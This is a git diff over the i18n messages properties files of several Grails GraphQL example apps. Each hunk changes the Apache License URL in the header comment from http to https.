diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_it.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_it.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ja.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ja.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nb.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nb.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nl.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nl.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pl.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pl.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_BR.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_PT.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ru.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ru.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_sv.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_sv.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_th.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_th.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_zh_CN.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_cs_CZ.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_da.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_da.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_de.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_de.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_es.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_es.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_fr.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_fr.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_it.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_it.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ja.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ja.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nb.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nb.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nl.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nl.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pl.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pl.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_BR.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_PT.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ru.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ru.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_sv.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_sv.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_th.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_th.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_zh_CN.properties b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-data-graphql/examples/grails-tenant-app/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_cs_CZ.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_da.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_da.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_de.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_de.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_es.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_es.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_fr.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_fr.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_it.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_it.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ja.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ja.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nb.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nb.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nl.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nl.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pl.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pl.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_BR.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_PT.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ru.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ru.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
